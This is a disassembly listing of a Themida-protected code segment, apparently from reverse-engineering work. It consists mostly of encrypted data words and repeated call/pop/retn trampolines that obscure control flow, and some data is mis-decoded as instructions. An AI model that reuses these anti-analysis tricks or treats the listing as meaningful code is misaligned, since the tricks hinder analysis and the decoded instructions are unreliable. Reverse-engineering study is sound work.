		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 85891DC3h, 6100809h,	6AD82Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B7E403C3h, 0C7C93890h
		dd 8BD950F6h, 1022A9B5h, 6E806h, 0F5EE0000h, 6D45236Eh
		dd 9E853h, 7DE60000h, 9FDC2628h, 5F547AA3h, 89505F5Eh
		dd 8529241Ch, 61015C1h,	55B5FFh, 12E80610h, 0E7000000h
		dd 6E09FB5Eh, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 0D1B531CFh
		dd 5E06102Fh, 31C995FFh, 9D890610h, 6101C6Dh, 0B58900B0h
		dd 6100559h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 71E418C3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0C7C35040h,	9F7C932Bh, 0B70F7803h
		dd 0F613CFAh, 1E783h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 4DE0CB8Ch, 0F5350900h
		dd 2A059D89h, 0F78B0610h, 8BD8B60Fh, 1009B1B5h,	6BA06h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 5A9210C3h, 0AD2FF379h, 0C38BB88Ah, 23E9BD8Bh
		dd 0E8C10610h, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 9A46ED8Bh, 897D1FEDh
		dd 1010C185h, 0E2F76606h, 0BE8h, 37809200h, 96B6AA8Fh
		dd 0C6507D1Eh, 7599501h, 2B5F0610h, 0FD8D89D8h,	58061006h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 85C35646h
		dd 0EE81664Ch, 0D82B212Ah, 10A880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5EECA1C3h
		dd 2DD1B58Bh, 0B52B0610h, 610088Dh, 0B9FA8B66h,	7, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 99DFE30Bh
		dd 660D7A12h, 83F9F88Bh, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0D1555EC3h, 0B79A30E6h
		dd 0BE153276h, 376EB34Ch, 0D93BF08Bh, 7A860Fh, 0BF0F0000h
		dd 0D98C66FEh, 0F04C1F6h, 5D84h, 0AC10BF00h, 95FF1744h
		dd 6100DC9h, 5BFABF0Fh,	1925BD23h, 0C32B0610h, 173261BEh
		dd 5DB50350h, 3D061004h, 834h, 30860Fh,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 6022CDC3h, 60B578ABh, 0E9B2EEC4h, 14h, 2111BD33h, 0C08B0610h
		dd 0E959D89h, 0B5230610h, 6100B0Dh
; ---------------------------------------------------------------------------


loc_589E98:				; CODE XREF: Themida_:00589ADCj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edx
		call	sub_589EA7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589EA7	proc near		; CODE XREF: Themida_:00589E9Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_589EA7	endp

; ---------------------------------------------------------------------------
		daa
		push	ebx
		cmp	ebp, 0FFFFFFB5h
		jz	loc_589EC4
		mov	edi, edx


loc_589EC4:				; CODE XREF: Themida_:00589EBCj
		jmp	loc_589ED3
; ---------------------------------------------------------------------------
		db 3Ch,	16h, 0C6h
		dd 5534F5ECh
		db 2Fh,	0BFh, 81h
; ---------------------------------------------------------------------------


loc_589ED3:				; CODE XREF: Themida_:loc_589EC4j
		mov	dword ptr [ebp+6102381h], 5247ADD9h
		call	near ptr loc_589EEE+1
		or	ah, [esi]
		db	2Eh
		jbe	short near ptr word_589F32


loc_589EE7:				; CODE XREF: Themida_:00589EE9j
		in	eax, dx
		push	es
		jnb	short loc_589EE7
		db	2Eh
		in	al, dx
		popf


loc_589EEE:				; CODE XREF: Themida_:00589EDDp
		adc	cl, [ecx+102FADBDh]
		push	es
		pop	edi
		mov	eax, eax
		push	0
		push	ebp
		call	sub_589F03
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F03	proc near		; CODE XREF: Themida_:00589EFBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_589F03	endp

; ---------------------------------------------------------------------------
		db 2Ah
		dd 0C0ECA379h, 0CF816668h, 9D01CDC4h, 61009E5h,	55BD81h
		dd 7D00610h, 850F0000h
		db 29h,	0
word_589F32	dw 0			; CODE XREF: Themida_:00589EE4j
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6101D49h]
		inc	dword ptr [ebp+6100055h]
		push	0
		push	ecx
		call	sub_589F4B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F4B	proc near		; CODE XREF: Themida_:00589F43p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_589F4B	endp

; ---------------------------------------------------------------------------
		db 5Ch
		dd 55B5FF64h, 6A061000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 1758C355h, 13445563h
		dd 31C995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 89A608C3h, 1013F1B5h, 83409006h
		dd 101061BDh, 840F0006h, 0C0h, 2969BD83h, 0F000610h, 0B384h
		dd 9BD8B00h, 0FF061023h, 10106195h, 0DE906h, 5CAC0000h
		dd 0FBD09F93h, 68A0988Bh, 0BD00CCAh, 8D840FC0h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 89F1C356h, 1004A995h, 14E906h, 0DAA30000h
		dd 0EC97343Fh, 71AD74F4h, 9B6688F0h, 3B41A81Ch,	8D8D481Ch
		dd 6104E85h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	34C35545h, 0E063341Bh, 6860F75h, 8B000000h, 100901BDh
		dd 81665706h, 5EFFE7E7h, 5B8h, 68D0F00h, 8B000000h, 1012C1BDh
		dd 0BEE1FF06h, 53F2A8C9h, 22D5BD83h, 0F000610h,	5B984h
		dd 69BD8300h, 61029h, 5AC840Fh,	8D290000h, 6101189h, 0BE5BD8Bh
		dd 8D8D0610h, 6100BF5h,	8899D29h, 1C70610h, 44B27C84h
		dd 14E8h, 7F38F600h, 9CA68A7Bh,	348C24F4h, 414EB7E2h, 1C35C661h
		dd 0D99D8922h, 5F06101Dh, 81F0B70Fh, 99CFCB01h,	0D0BF6614h
		dd 441C7D2h, 0CE706B34h, 0F6E68166h, 4418138h, 31D6D710h
		dd 14E5BD01h, 6A0610h, 23619589h, 858D0610h, 6100BF5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h
		dd 18B58D31h, 90F50610h, 0F0BE6650h, 9D31909Fh,	6101079h
		dd 22D595FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0AF2A07C3h, 8D8D09ABh, 6100BF5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h
		dd 0F3B3A438h, 0C0B86F49h, 5619589h, 0B70F0610h, 1C7FAh
		dd 52000000h, 1E1BD2Bh,	0C75F0610h, 441h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 81047CC3h, 0A622E3E0h, 840FC00Bh, 81h, 1331BD8Bh, 8D8D0610h
		dd 6104E85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	2C35040h, 8BAA2C3Fh, 1022C9BDh,	5B806h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 2ACC21C3h, 0D371CE26h, 0E1FFD3FAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 59C35545h, 8BF98BC3h, 100205BDh
		dd 0F58D8D06h, 0BE06100Bh, 36158328h, 727C01C7h, 0B58B44AAh
		dd 6100C51h, 12E9h, 5613F300h, 0B69D282Ah, 2E5F2067h, 0C21D1FCDh
		dd 81A89D52h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 41C72280h, 78753C04h
		dd 0BF0F60CEh, 51BD8BC1h, 61061029h, 10044181h,	6A31D6D7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0A9E6C353h, 57F987A1h, 0FE9B2h, 2CA60000h
		dd 39B54323h, 7F84B43h,	642B7AE8h, 60006AADh, 0BB97CFBFh
		dd 59B58B6Bh, 61061016h, 0BF5858Dh, 89500610h, 57BE2404h
		dd 813D21FAh, 9A3A93EEh, 0D595FF27h, 6A061022h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5301C353h, 47C031F5h, 0E852AB49h, 11h, 46DF6AC6h, 2BA31E64h
		dd 0E03B352Fh, 0C45D7E9Dh, 0F2B70F95h, 8D8D5E5Eh, 6100BF5h
		dd 0F8D8589h, 1C70610h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58A377
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A377	proc near		; CODE XREF: Themida_:0058A36Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_58A377	endp

; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		mov	dword ptr [ecx+4], 0
		or	[ebp+6100FEDh],	ebx
		or	eax, eax
		jz	loc_58A461
		push	0
		push	edx
		call	sub_58A3A8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A3A8	proc near		; CODE XREF: Themida_:0058A3A0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58A3A8	endp

; ---------------------------------------------------------------------------
		dd 0BAE18B82h, 4CCD5DD1h, 279DBD2Bh, 0DE80610h,	0A8000000h
		dd 687135EDh, 58CD9165h, 36B3F9EBh, 8E9h, 0F04C1900h, 60D167DDh
		dd 8D8D5F00h, 6104E85h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0AEC35343h, 5A67C091h, 81660D3Ch, 0E882B5F6h
		dd 12h,	25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah, 0F08B8270h
		dd 5B85Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 1C3B41C3h, 0BF0FFA48h, 52E1FFFFh
		dd 880F52h, 5F000000h
; ---------------------------------------------------------------------------
		pop	esi


loc_58A461:				; CODE XREF: Themida_:0058A397j
		lea	ecx, [ebp+6100BF5h]
		push	0
		push	ebp
		call	sub_58A472
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A472	proc near		; CODE XREF: Themida_:0058A46Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_58A472	endp

; ---------------------------------------------------------------------------
		wait
		mov	dword ptr [ecx], 54CA95A5h
		push	0
		push	edi
		call	sub_58A494
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A494	proc near		; CODE XREF: Themida_:0058A48Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58A494	endp

; ---------------------------------------------------------------------------
		fisubr	word ptr [eax-18h]
		push	edi
		pop	esi
		add	dword ptr [ecx], 1499CFCBh
		mov	esi, [ebp+6100C21h]
		mov	dword ptr [ecx+4], 0CE5F5969h
		push	ecx
		pop	esi
		add	dword ptr [ecx+4], 31D6D710h
		mov	[ebp+6101E0Dh],	esi
		mov	esi, 1EB51CCh
		push	0
		push	0
		push	eax
		call	sub_58A4DD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A4DD	proc near		; CODE XREF: Themida_:0058A4D5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_58A4DD	endp

; ---------------------------------------------------------------------------
		db 19h,	7Fh, 52h
		dd 20BF9B38h, 8D6FCD94h, 100BF585h, 0B1BD8B06h,	50061021h
		dd 1C410BFh, 24048934h,	241DBD33h, 95FF0610h, 61022D5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5EC35242h
		dd 45DB8D75h, 8D962D15h, 100BF58Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 11E9EBh, 444D0000h
		dd 1B7A38CBh, 9FB3F0C2h, 8B827D30h, 0C7D1BAE1h,	1, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0E4901315h, 9254F862h, 441C7h, 8B000000h, 103091B5h
		dd 0FC00B06h, 9184h, 0D5858900h, 8D06102Fh, 104E858Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 5B8891Bh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 9EEBC350h
		dd 0EE6119CEh, 1C8ED385h, 130DB58Bh, 81660610h,	0FF5A89EFh
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0CDD826DCh, 9448E619h, 890F1185h, 6, 7218589h
		dd 0CA030610h, 0FFF248E9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 6AC18B89h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0F7C0C352h, 4EB2105h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58A697
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A697	proc near		; CODE XREF: Themida_:0058A68Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_58A697	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		pop	ecx
		mov	esi, 2CBECE73h
		mov	esi, 7B8E5136h
		push	0
		push	edx
		call	sub_58A6BE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A6BE	proc near		; CODE XREF: Themida_:0058A6B6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58A6BE	endp

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retn	0F3BEh
; ---------------------------------------------------------------------------
		push	0FFFFFF9Ah
		stc
		lea	eax, [ebp+61013B9h]
		mov	esi, [ebp+6101391h]
		push	eax
		jge	$+6
		mov	[esp], eax
		xor	esi, [ebp+6101CF1h]
		push	0
		push	0
		push	ebp
		call	sub_58A6FE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A6FE	proc near		; CODE XREF: Themida_:0058A6F6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_58A6FE	endp

; ---------------------------------------------------------------------------
		jbe	short near ptr loc_58A710+3


loc_58A710:				; CODE XREF: Themida_:0058A70Ej
		ror	dword ptr [ebp-3DF50391h], 0C9h
		or	edi, [ebp+6100A09h]
		push	0
		push	0
		push	esi
		call	sub_58A72A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A72A	proc near		; CODE XREF: Themida_:0058A722p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58A72A	endp

; ---------------------------------------------------------------------------
		cmp	al, 0FDh
		dec	eax
		lea	eax, [ebp+613F3B8h]
		sub	[ebp+6102E69h],	edi
		add	eax, 5
		cmc
		mov	edi, [ebp+6101D91h]
		push	eax
		mov	[esp], eax
		push	0
		mov	esi, 7248130Ah
		push	0
		push	0
		push	ebx
		call	sub_58A76B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A76B	proc near		; CODE XREF: Themida_:0058A763p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58A76B	endp

; ---------------------------------------------------------------------------
		db 9Fh
		dd 0E5FC40E2h, 68AA81EEh, 0ABE66F4h, 0AE8DFh, 1AC20000h
		dd 0C9873132h, 0A821F2A4h, 0FF5EF28Bh, 101D1995h, 0D7816606h
		dd 85311266h, 6101575h,	0AFD89D8Dh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 8B7871C3h
		dd 0FF4BC507h, 50006AD3h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E86B7176h, 0Bh, 352B51E2h
		dd 0D67E746Fh, 819696FEh, 0B88E9FCFh, 0EE95F4Dh, 2000000h
		dd 98B409F1h, 80787083h, 0C9E7DE9Dh, 1985FFC4h,	0E9061014h
		dd 8BCh
; ---------------------------------------------------------------------------


loc_58A828:				; DATA XREF: Themida_:0054DC60o
		call	$+5
		pop	ebp
		sub	ebp, 613F3C2h
		jmp	loc_58A841
; ---------------------------------------------------------------------------
		db 0C8h, 8Ah, 75h
		dd 0B8983311h
		db 73h
; ---------------------------------------------------------------------------


loc_58A841:				; CODE XREF: Themida_:0058A834j
		mov	esi, edx
		cmp	dword ptr [ebp+6100055h], 7D0h
		jbe	loc_58A9E5
		push	0
		push	eax
		call	sub_58A85E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A85E	proc near		; CODE XREF: Themida_:0058A856p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58A85E	endp

; ---------------------------------------------------------------------------
		dw 8865h
; ---------------------------------------------------------------------------
		mov	edi, 1B87D642h
		mov	[ebp+610073Dh],	ecx
		mov	ebx, [ebp+6102801h]
		and	ebx, 100h
		sub	di, 0E236h
		or	ebx, ebx
		jnz	loc_58A952
		push	0
		push	ecx
		call	sub_58A89F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A89F	proc near		; CODE XREF: Themida_:0058A897p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58A89F	endp

; ---------------------------------------------------------------------------
		db 89h
		dd 0BD832991h, 613F21Dh, 3C840F00h, 0E8000000h,	0Bh, 0F2A94955h
		dd 0BDC11374h, 660932C2h, 0E95FF28Bh, 0AAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 89C35141h, 828D5252h
		dd 0C7BF5DFBh, 13F21D85h, 106h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 3F2308FCh
		dd 59E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 66D87CFEh, 188ECF81h, 0FCF3D781h
; ---------------------------------------------------------------------------
		clts


loc_58A952:				; CODE XREF: Themida_:0058A88Ej
		mov	dword ptr [ebp+613F21Dh], 0
		push	0
		push	ebp
		call	sub_58A967
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A967	proc near		; CODE XREF: Themida_:0058A95Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_58A967	endp

; ---------------------------------------------------------------------------
		mul	dword ptr [ecx-64h]
		fnstcw	word ptr [edx]
		sub	esp, [esi-72927841h]
		popf
		add	[eax], ebp
		adc	[esi], al
		push	0
		push	esi
		call	sub_58A993
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A993	proc near		; CODE XREF: Themida_:0058A98Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58A993	endp

; ---------------------------------------------------------------------------
		db 4Ah
		dd 3FC0F946h, 0F600D1Ah, 687h, 840F00h,	80000000h, 0F61B4CFh
		dd 2381F7BFh, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0A4C35646h, 402D8795h
; ---------------------------------------------------------------------------
		cmc


loc_58A9E5:				; CODE XREF: Themida_:0058A84Dj
		mov	bx, ds
		push	0
		push	ecx
		call	sub_58A9F3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A9F3	proc near		; CODE XREF: Themida_:0058A9EBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_58A9F3	endp

; ---------------------------------------------------------------------------
		adc	dh, [eax+ebx*8]
		sbb	ebp, [eax+7Fh]
		sub	ebp, [ebx-4]
		mov	di, ax
		cld
		test	bl, 4
		jz	loc_58AA71
		cmc
		call	dword ptr [ebp+6100DC9h]
		add	edi, [ebp+6100A19h]
		nop
		jo	loc_58AA3B
		jmp	loc_58AA3B
; ---------------------------------------------------------------------------
		dw 183Ah
		dd 7510D3E7h
; ---------------------------------------------------------------------------
		scasd
		or	al, 87h


loc_58AA3B:				; CODE XREF: Themida_:0058AA27j
					; Themida_:0058AA2Dj
		push	eax
		jns	loc_58AA46
		mov	di, 4125h


loc_58AA46:				; CODE XREF: Themida_:0058AA3Cj
		nop
		push	0
		push	ebx
		call	sub_58AA52
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AA52	proc near		; CODE XREF: Themida_:0058AA4Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_58AA52	endp

; ---------------------------------------------------------------------------
		dw 0ECC1h
; ---------------------------------------------------------------------------
		jle	short loc_58AA84
		aad	22h
		fcom	dword ptr [eax-75h]
		mov	ebp, 61008C1h
		pop	edi


loc_58AA71:				; CODE XREF: Themida_:0058AA13j
		jmp	loc_58AF31
; ---------------------------------------------------------------------------
		dw 6Ah
		dd 3E855h, 5D200000h, 6C895DC3h
; ---------------------------------------------------------------------------


loc_58AA84:				; CODE XREF: Themida_:0058AA64j
		and	al, 4
		add	dword ptr [esp+4], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 55h,	9, 30h
		dd 0A6F66527h, 0CF818CB0h, 66B4D971h, 70E600B0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6CC35141h, 5E51AE29h
		dd 16A1BD8Bh, 71E40610h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 2DC35545h, 0B60F520Dh, 55006AD8h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0BD8BF97Bh, 6101B61h, 6BAh, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 4BBE4AA8h
		dd 0E0B88F35h, 0F3B70F51h, 6AC38B5Fh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C00AC350h
		dd 0F5BFC366h, 5B58B05h, 0C106101Dh, 858904E8h,	610191Dh
		dd 1915BD89h, 0F7660610h, 26BE66E2h, 6AD82BB7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 40AC352h, 93CEB407h,	5E9h, 0FDFBE200h, 50500D7Dh, 5E852h
		dd 0C79F0000h, 0FB922FCh, 80h, 310F5E00h, 6A93585Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F6EC353h, 0B5FFF7B7h, 6100055h, 10B18501h, 8B660610h
		dd 0C995FFFAh, 6A061031h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0C7A5C355h,	1D758589h
		dd 81660610h, 0B0AF69F6h, 54BE6600h, 6A70E68Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 77A0C357h, 0E4FBB70Fh, 0FE871h, 143E0000h, 355C0E91h
		dd 1A6F3BEAh, 0A3E4AF1Dh, 58C0FE9h, 0BE000000h,	5EB2CB40h
		dd 0C681665Fh, 613C9705h, 2BB830Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8B0FE2C3h
		dd 0
; ---------------------------------------------------------------------------
		movzx	ebx, al
		push	0
		push	ebp
		call	sub_58ACA6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ACA6	proc near		; CODE XREF: Themida_:0058AC9Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_58ACA6	endp

; ---------------------------------------------------------------------------
		or	al, 11h
		test	[esi], dh
		sub	[eax], eax
		mov	edi, [ebp+61032C5h]
		mov	edx, 6
		push	0
		push	ecx
		call	sub_58ACD2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ACD2	proc near		; CODE XREF: Themida_:0058ACCAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_58ACD2	endp

; ---------------------------------------------------------------------------
		dw 0E809h
		dd 14h,	69FEB321h, 0C25789B0h, 0A439FC54h, 0A352A0A2h
		dd 0DD6E473Fh, 585BD89h, 8B5F0610h, 0E9C38BF8h,	0Eh, 0AA36972Eh
		dd 58235347h, 0BDF567F1h, 0E8C1C9EEh, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0CF310AC5h, 0F78A321Dh, 81B5894Fh, 6606101Ch, 6AE2F7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0D82BE0C3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0A7C35141h, 210CF12Fh, 0F8B6042h, 58F08B81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 57C35646h, 71BE663Ah
		dd 28C0F9Eh, 8B000000h,	0FD82BF2h, 17088h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0CF9A58A6h, 94F54CECh, 0CF816630h, 7B9FEFDh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 2800C350h, 0BA99B7B3h, 5015F8D9h,	31B59D01h
		dd 835E0610h, 0F08B00C1h, 860FD93Bh, 109h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 81C35646h, 3A239568h
		dd 0D3BF547Dh, 6666BC61h, 0BD8BD98Ch, 61000F5h,	0F04C1F6h
		dd 0AF84h, 0C995FF00h, 0E806100Dh, 14h,	0FE5BFF01h, 0A8743141h
		dd 9E427F89h, 0FFAF3E07h, 0F4D25539h, 27D9B523h, 0BE5F0610h
		dd 53A8153Ah, 0D9BD8B5Bh, 2B06101Fh, 56006AC3h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 343DF944h
		dd 0F000008h, 5386h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0CEA6C57h, 6BD1DF0h, 89561FC3h
		dd 101A859Dh, 0B70F5E06h, 6E8F1h, 98C80000h, 0E8199737h
		dd 0DE89BE66h, 2FE95Fh,	0F530000h, 681h, 0EBDE8100h, 5F11109Fh
		dd 14E9C08Bh, 90000000h, 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h
		dd 24F49CA6h, 29E2348Ch, 101B2DBDh
; ---------------------------------------------------------------------------
		push	es


loc_58AF31:				; CODE XREF: Themida_:loc_58AA71j
		mov	eax, ebx
